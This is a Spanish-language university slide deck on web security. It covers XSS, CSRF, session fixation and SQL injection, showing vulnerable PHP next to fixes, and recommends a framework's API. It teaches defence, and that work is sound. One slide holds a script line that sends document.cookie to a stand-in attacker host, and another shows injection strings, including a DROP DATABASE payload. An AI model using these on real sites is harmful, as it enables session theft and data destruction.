Top Banner
Seguridad en la web @josereyero http://www.reyero.net [email protected] Módulo VI - Programación Segura Máster Profesional en Tecnologías de Seguridad
65

Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Jan 28, 2017

Download

Documents

dinhnga
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Seguridad en la web

@josereyero

http://www.reyero.net

[email protected]

Módulo VI - Programación Segura

Máster Profesionalen Tecnologías de Seguridad

Page 2: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 2

Seguridad en la Web

Introducción y objetivos

Programa de ejemplo

Seguridad en teoría

Seguridad en la práctica

Técnicas: XSS, CSRF, ....

Herramientas más seguras

Resumen y conclusión

Page 3: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 3

Sólo séque no sé nada.

(como voy a demostrar)

(y yo también he escrito código inseguro)

Page 4: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 4

pequeñas mentiras

y Grandes Verdades

Page 5: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 5

pequeñas mentiras

Esta web es completamente segura.

Tiene muchos avisos de seguridad... ojo.

Por fin hemos conseguido que sea seguro.

El código abierto es más seguro.

El código abierto es menos seguro.

Estos datos son seguros.

Yo lo sé todo sobre seguridad en Internet.

Este lenguaje de programación es seguro.

Page 6: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 6

Grandes Verdades

Lo único seguro en la vida... es que nos vamos a morir.

Si una aplicación no tiene ningún aviso de seguridad... ?

La seguridad no es un estado... es un proceso.

El código abierto es código abierto

Si es abierto, puedes tener garantías de que es seguro (o no)

Las cosas son seguras en un contexto (para un uso).

La inteligencia tiene límites, la estupidez no.

El lenguaje de programación es infinitamente menos importante que el programador.

Page 7: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 7

Cosillasdel

desarollo web

Page 8: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Jose A Reyero - Development Seed - Drupal Conference – DC - March 2009

El enemigo

Page 9: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 9

Web 2.0

= Seguridad 2.0

Contenido generado por el usuario

Feeds RSS

Servicios

(Flickr, Google maps....)

Page 10: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 10

Cocktail de tecnología

UnixOracleApache

JavaJSP

HTTPFirefoxHTMLAJAXFlashPDF

Page 11: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 11

Lenguages de Script

Ves lo que compras / ves lo que corre en el servidor.

El programa sigue corriendo mucho tiempo después de que el código se ha perdido.

Algunos, especialmente diseñados para la web.

Pequeña Teoría de la Complejidad (- es +)

Page 12: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 12

La seguridad es...

Lenguajes de programación?

Frameworks?

Sistemas operativos?

Servidores?

Navegadores?

Page 13: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 13

http://commons.wikimedia.org

Page 14: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 14

If you think technology can solve your security problems,

then you don't understand the problems

and you don't understand the technology.

Bruce Schneier

Page 15: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 15

Roles

Construir

Estudiar

Destruir

Page 16: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 16

...que nunca aprendemos nada de la historia.

La historia nos demuestra...

Page 17: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 17

La Información es Poder

http://secunia.com/advisories/search/

http://ha.ckers.org/xss.html

http://www.gnucitizen.org/

http://www.google.com/

Page 18: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 18

La sabiduría consiste en ser capaz de distinguir entre los peligros y elegir el menos dañino.

Maquiavelo, “El Príncipe”

Page 19: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 19

CSI

Corto pero Sumamente Inseguro

(Práctica en PHP)

Page 20: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 20

CSIsudo su

apt-get install apache2 php5

dpkg-reconfigure apache2 php5

cd /var/www

wget http://reyero.net/csi.tar.gztar xvzf csi.tar.gz

http://localhost/csi/csi.php

Page 21: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 21

CSI

Page 22: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 22

CSI

http://localhost/csi.php

http://localhost/xss.html

http://localhost/csrf.html

Page 23: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 23

Conceptos

Cookies

Sesión

URL

Post

Cliente <------- HTTP / HTTPS -------> Servidor

Page 24: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 24

El eje del mal

HTTP / HTML

Javascript (AJAX)

Cadenas de texto

Otros bichos (Flash, PDF, ...)

....

Page 25: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 25

La importancia del dominio

http://midominio.com/.........

Page 26: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 26

Javascript

Page 27: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 27

Cómo de malo?

alert(document.cookies);

document.write('<h1>Tu web me pertenece</h1>');

new Image().src = "http://malos.example.com/guarda.cgi?

cookiesrobadas="+encodeURI(document.cookie);

Page 28: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 28

Javascript

var params = "user=value1&password=value2";http.open("POST", “password.php”, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.setRequestHeader("Content-length", params.length);http.setRequestHeader("Connection", "close"); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { alert(http.responseText); }}

Page 29: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 29

El contexto

Es ...¿seguro?¿inseguro?

Page 30: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 30

Texto y Contexto

jose

SELECT FROM users WHERE name = 'jose';

<h2>Hola jose</h2>

nombre = 'jose';

http://miweb.com/jose

Page 31: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 31

Texto y Contexto

SELECT FROM users WHERE name = 'malo';DROP DATABASE';

<h2>Hola malo</h2><h2>Envía SMS al 666</h2>

nombre = 'malo';alert(“Hola”);//';

http://miweb.com/malo?delete=yes

Page 32: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 32

Recuerda

validar antes de usar

Page 33: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 33

OWASP top 10Cross Site Scripting (XSS)

Injection Flaws

Malicious File Execution

Insecure Direct Object Reference

Cross Site Request Forgery (CSRF)

Information leakage and Improper Error Handling

Broken Authentication and Session Management

Insecure Cryptographic Storage

Insecure Communications

Failure to Restrict URL access

http://www.owasp.org/index.php/Top_10_2007

Page 34: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 34http://hackademix.net/2008/04/26/mass-attack-faq/

Page 35: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 35

XSS Cross-site Scripting

¿qué?

¿cómo?

¿cuándo?

¿dónde?

http://en.wikipedia.org/wiki/Cross-site_scripting

Page 36: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 36

XSS - ¿qué?

Introducen código (ejecutable o no) en una página que está en nuestro dominio HTML, Javascript, CSS, etc, etc..

Lenguajes: todos HTTPS: Sí

Page 37: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 37

XSS - ¿cómo?

Enlace Contenido

Javascript

La “víctima” sólo tiene que visitar la página maliciosa o nuestra página con contenido “malo”

Page 38: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 38

XSS - ¿dónde?

print "<p>No se ha podido iniciar sesion para $login </p>\n";

print "<p>Hola $usuario </p>";

Page 39: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 39

XSS - solución

print "<p>No se ha podido iniciar sesion para “ . htmlspecialchars($login) . “ </p>\n";

print "<p>Hola “ . htmlspecialchars($usuario) . “</p>";

Page 40: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 40

XSS para jugar

http://ha.ckers.org/xss.html

Page 41: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 41

CSRF Cross-site Request Forgery

¿qué?

¿cómo?

¿cuándo?

¿dónde?

http://en.wikipedia.org/wiki/Csrf

Page 42: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 42

CSRF - ¿qué?

Ejecutar “acciones” con las credenciales del usuario

Puede hacer todo lo que el usuario puede hacer

No es específico del lenguaje de programacioń

Page 43: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 43

CSRF - ¿cómo?

Enlace Formulario Javascript

La “víctima” sólo tiene que visitar la página maliciosa

Page 44: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 44

CSRF - ¿cuándo?

Una URL ejecuta una acción

Formulario ejecuta una acción

Tanto las URLs como los formularios necesitan medidas de seguridad adicionales

Page 45: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 45

CSRF - ¿dónde?

<form> <input type="hidden" name="accion" value="accion" /> <input type="submit" value="Accion" /></form>

case 'accion': if ($usuario) { accion_potencialmente_desastrosa(); }

Page 46: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 46

CSRF – Solución (PHP)<form> <input type="hidden" name="accion" value="accion" /> <input type="hidden" name="token" value="a3dffs78" /> <input type="submit" value="Accion" /></form>

$secret = md5(session_id() . $clave);

case 'accion': if ($usuario && $token == $secret) { accion_potencialmente_desastrosa(); }

Page 47: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 47

Session Fixation

¿qué?

¿cómo?

¿cuándo?

¿dónde?

http://en.wikipedia.org/wiki/Session_fixation

Page 48: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 48

Session Fixation - ¿qué?

Apropiarse de una sesión

Puede hacer todo lo que el usuario puede hacer (incluido apropiarse de la cuenta)

Lenguajes: todos HTTPS: Sí

Page 49: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 49

Session Fixation - ¿cómo?

Enlace con ID de sesión

La víctima tiene que iniciar sesión

Page 50: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 50

Session Fixation - ¿cuándo?

No generamos una nueva sesión tras el login

Permitimos sesiones sin usar cookies

Page 51: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 51

Session Fixation - ¿dónde?

case 'login': if (...) { .............................

$_SESSION['usuario'] = $login; }

Page 52: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 52

Session Fixation – Solución (PHP)

case 'login': if (...) { session_regenerate_id();

$_SESSION['usuario'] = $login; }

Page 53: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 53

Escribir código seguro

Page 54: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 54

Usa un buen framework

http://drupal.org

Page 55: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 55

Page 56: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 56

Page 57: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 57

Page 58: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 58

Page 59: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 59

Usa bien el API

check_plain($nombre);

check_markup($contenido);

db_query(“SELECT * FROM {users} WHERE uid = %d”, $uid);

print t('Enviado %title', array('%title' => $node->title));

http://api.drupal.org/

Page 60: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 60

http://api.drupal.org/api/function/check_plain/6

Page 61: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 61

Page 62: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 62

Forms API

$form['name'] = array( '#type' => 'textfield', '#title' => t('name'), '#maxlength' => 64,);$form['submit'] = array( '#type' => 'submit', '#value' => t('Save'),);

http://api.drupal.org/api/file/developer/topics/forms_api_reference.html

Page 63: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 63

No todo es código

Administración

Permisos

Filtros de Entrada

Usuarios

Page 64: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 64

Page 65: Seguridad en la web Máster Profesional en Tecnologías de Seguridad

Máster Profesional en Tecnologías de SeguridadINTECO - UNIVERSIDAD DE LEÓN 65